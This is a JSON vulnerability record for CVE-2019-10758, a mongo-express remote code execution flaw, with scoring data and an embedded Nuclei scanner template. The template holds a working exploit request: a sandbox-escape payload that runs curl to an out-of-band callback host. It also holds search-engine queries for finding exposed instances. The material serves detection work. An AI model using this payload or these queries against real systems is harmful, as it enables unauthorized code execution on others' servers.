{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-10758/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-10758/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-10758/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-10758/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-10758/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-10758"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-10758"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.84726,
      "kev": true,
      "percentile": 0.99696
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2019/CVE-2019-10758.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2019-10758\n\ninfo:\n  name: mongo-express Remote Code Execution\n  author: princechaddha\n  severity: critical\n  description: mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: Upgrade mongo-express to version 0.54.0 or higher.\n  reference:\n    - https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-10758\n    - https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215\n    - https://github.com/CLincat/vulcat\n    - https://github.com/MelanyRoob/Goby\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n    cve-id: CVE-2019-10758\n    epss-score: 0.84726\n    epss-percentile: 0.99696\n    cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*\n  metadata:\n    max-request: 1\n    vendor: mongo-express_project\n    product: mongo-express\n    framework: node.js\n    shodan-query:\n      - http.title:\"Mongo Express\"\n      - http.title:\"mongo express\"\n    fofa-query: title=\"mongo express\"\n    google-query: intitle:\"mongo express\"\n  tags: cve,cve2019,vulhub,mongo,mongo-express,kev,mongo-express_project,node.js,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /checkValid HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic YWRtaW46cGFzcw==\n        Content-Type: application/x-www-form-urlencoded\n\n        document=this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"curl {{interactsh-url}}\")\n\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n# digest: 490a0046304402203638eece5842c814a1984a7faffe043c68d78851ce6e691abe49428f667fb17502206951f10c91d58a0258699c0539cc170f8f5bc4a93c22c891a79d907a104e6bd9:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2019-10758"
}